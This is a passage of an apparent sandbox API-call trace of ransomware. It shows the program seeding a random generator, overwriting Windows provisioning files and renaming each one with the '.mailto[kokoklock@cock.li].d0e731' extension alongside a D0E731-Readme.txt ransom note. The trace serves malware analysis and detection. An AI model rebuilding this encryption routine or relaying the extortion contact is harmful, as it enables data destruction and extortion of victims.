lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2d73fdd8*=0x4, lpOverlapped=0x0) returned 1 [0086.079] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd560) returned 1 [0086.080] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd588) returned 1 [0086.080] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd5b0) returned 1 [0086.080] CloseHandle (hObject=0xa30) returned 1 [0086.080] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x16a) returned 0x341a7f8 [0086.080] wcscpy (in: _Dest=0x341a7f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0086.080] wcscat (in: _Dest=0x341a7f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" [0086.080] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\128__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\128__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.081] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.081] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a7f8) returned 1 [0086.081] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0086.081] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a9c8 [0086.081] wcscpy (in: _Dest=0x348a9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.081] wcscat (in: _Dest=0x348a9c8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.081] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.081] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a9c8) returned 1 [0086.081] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3495a10) returned 1 [0086.081] RtlExitUserThread (Status=0x1) Thread: id = 1302 os_tid = 0x118c [0085.387] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\129__connections_cellular_elisa (finland)_i0$(__mvid)@wap.provxml")) returned 0x20 [0086.030] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.046] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\129__connections_cellular_elisa (finland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x99c [0086.046] GetFileSizeEx (in: hFile=0x99c, lpFileSize=0x2d7bf76c | out: lpFileSize=0x2d7bf76c*=701) returned 1 [0086.046] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x2b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.046] ReadFile (in: hFile=0x99c, lpBuffer=0x2d7bf740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d7bf73c, lpOverlapped=0x0 | out: lpBuffer=0x2d7bf740*, lpNumberOfBytesRead=0x2d7bf73c*=0x4, lpOverlapped=0x0) returned 1 [0086.048] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8a8 [0086.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0086.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd538 [0086.048] NtQuerySystemTime (in: CurrentTime=0x2d7bf718 | out: CurrentTime=0x2d7bf718*=132121176439453985) returned 0x0 [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0xa5c6bc67 [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0xbcbd2a4e [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0x763e4f6a [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0x2fccf796 [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0xf7cdb87a [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0x22046317 [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0x8451494e [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0xd9d8f2dc [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0xad5f5bf5 [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0xe5821d0a [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0xc8efdc9d [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0x3e6e748a [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0x408ed8b2 [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0x33056786 [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0xa80db7eb [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0xe283509a [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0x6c82069f [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0x4f0e4fad [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0x89d2d940 [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0xdc50c032 [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0xe238131a [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0x8ed27f8d [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0xd099751b [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0x5a8f00e5 [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0xf9e399b9 [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0xb7dea3d5 [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0xaded3434 [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0x4b781462 [0086.048] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0x1546621b [0086.049] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0x713a38be [0086.049] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0xe8bd945f [0086.049] RtlRandom (in: Seed=0x2d7bf724 | out: Seed=0x2d7bf724) returned 0x66c86f6b [0086.059] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0086.059] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8a8) returned 1 [0086.059] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd2c8 [0086.059] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34804f8 [0086.059] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8a8 [0086.059] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8a8) returned 1 [0086.059] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0086.059] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0086.059] ReadFile (in: hFile=0x99c, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2bd, lpNumberOfBytesRead=0x2d7bf718, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2d7bf718*=0x2bd, lpOverlapped=0x0) returned 1 [0086.059] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7bf6e0 | out: lpNewFilePointer=0x0) returned 1 [0086.059] WriteFile (in: hFile=0x99c, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2bd, lpNumberOfBytesWritten=0x2d7bf714, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2d7bf714*=0x2bd, lpOverlapped=0x0) returned 1 [0086.059] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd5b0 [0086.059] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd5d8 [0086.059] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd5d8) returned 1 [0086.059] WriteFile (in: hFile=0x99c, lpBuffer=0x55dd5b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d7bf710, lpOverlapped=0x0 | out: lpBuffer=0x55dd5b0*, lpNumberOfBytesWritten=0x2d7bf710*=0x20, lpOverlapped=0x0) returned 1 [0086.060] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd5b0) returned 1 [0086.060] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.060] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.060] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0086.060] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0086.060] WriteFile (in: hFile=0x99c, lpBuffer=0x55dd588*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2d7bf73c, lpOverlapped=0x0 | out: lpBuffer=0x55dd588*, lpNumberOfBytesWritten=0x2d7bf73c*=0x8, lpOverlapped=0x0) returned 1 [0086.060] WriteFile (in: hFile=0x99c, lpBuffer=0x2d7bf754*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d7bf73c, lpOverlapped=0x0 | out: lpBuffer=0x2d7bf754*, lpNumberOfBytesWritten=0x2d7bf73c*=0x4, lpOverlapped=0x0) returned 1 [0086.060] WriteFile (in: hFile=0x99c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d7bf73c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2d7bf73c*=0x4, lpOverlapped=0x0) returned 1 [0086.060] WriteFile (in: hFile=0x99c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2d7bf73c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2d7bf73c*=0x6c, lpOverlapped=0x0) returned 1 [0086.060] WriteFile (in: hFile=0x99c, lpBuffer=0x55dd8f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d7bf73c, lpOverlapped=0x0 | out: lpBuffer=0x55dd8f8*, lpNumberOfBytesWritten=0x2d7bf73c*=0x20, lpOverlapped=0x0) returned 1 [0086.061] WriteFile (in: hFile=0x99c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d7bf73c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2d7bf73c*=0x4, lpOverlapped=0x0) returned 1 [0086.061] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0086.061] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd560) returned 1 [0086.061] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd588) returned 1 [0086.061] CloseHandle (hObject=0x99c) returned 1 [0086.061] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x182) returned 0x341a7f8 [0086.061] wcscpy (in: _Dest=0x341a7f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml" [0086.061] wcscat (in: _Dest=0x341a7f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.061] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\129__connections_cellular_elisa (finland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\129__connections_cellular_elisa (finland)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.062] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.062] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a7f8) returned 1 [0086.062] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.062] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0086.062] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.062] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.062] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.062] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0086.062] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3495b40) returned 1 [0086.062] RtlExitUserThread (Status=0x1) Thread: id = 1303 os_tid = 0x1194 [0085.387] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\12__connections_cellular_optus (australia)_i3$(__mvid)@wap.provxml")) returned 0x20 [0086.002] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.028] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\12__connections_cellular_optus (australia)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x99c [0086.028] GetFileSizeEx (in: hFile=0x99c, lpFileSize=0x2d83fd80 | out: lpFileSize=0x2d83fd80*=716) returned 1 [0086.029] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x2c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.029] ReadFile (in: hFile=0x99c, lpBuffer=0x2d83fd54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d83fd50, lpOverlapped=0x0 | out: lpBuffer=0x2d83fd54*, lpNumberOfBytesRead=0x2d83fd50*=0x4, lpOverlapped=0x0) returned 1 [0086.030] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.030] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8a8 [0086.030] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0086.030] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dda10 [0086.030] NtQuerySystemTime (in: CurrentTime=0x2d83fd2c | out: CurrentTime=0x2d83fd2c*=132121176439297631) returned 0x0 [0086.030] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0x5665ff2b [0086.030] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0x3221d950 [0086.030] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0xd1708486 [0086.030] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0x8ec8a80 [0086.031] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0xc2fc1373 [0086.031] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0x1a8d7e71 [0086.031] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0x7a304308 [0086.031] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0xbf42f554 [0086.031] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0x1a4eaed7 [0086.031] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0xb216bf50 [0086.031] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0x93dc0314 [0086.031] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0x49a99f01 [0086.031] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0x6218b286 [0086.031] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0xecc7c612 [0086.031] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0x9a844f2 [0086.031] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0x6896cd08 [0086.031] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0xec3565df [0086.031] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0xd6d956a6 [0086.031] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0x3c3bb0ee [0086.031] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0x76670378 [0086.031] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0x73c34fc [0086.031] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0x6e974bf1 [0086.031] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0x9fd99f12 [0086.031] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0xa1f4a506 [0086.031] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0x42c07a1e [0086.031] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0xbaa7743f [0086.031] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0x1d4efeef [0086.031] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0x68af89ae [0086.031] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0x3d441101 [0086.031] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0xa5444ee5 [0086.031] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0xa7bb0f62 [0086.031] RtlRandom (in: Seed=0x2d83fd38 | out: Seed=0x2d83fd38) returned 0x955fcbea [0086.041] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0086.041] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8a8) returned 1 [0086.042] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd2c8 [0086.042] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34804f8 [0086.042] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8a8 [0086.042] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8a8) returned 1 [0086.042] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0086.042] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0086.042] ReadFile (in: hFile=0x99c, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2cc, lpNumberOfBytesRead=0x2d83fd2c, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2d83fd2c*=0x2cc, lpOverlapped=0x0) returned 1 [0086.042] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d83fcf4 | out: lpNewFilePointer=0x0) returned 1 [0086.042] WriteFile (in: hFile=0x99c, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2cc, lpNumberOfBytesWritten=0x2d83fd28, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2d83fd28*=0x2cc, lpOverlapped=0x0) returned 1 [0086.042] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd588 [0086.042] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd5b0 [0086.042] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd5b0) returned 1 [0086.042] WriteFile (in: 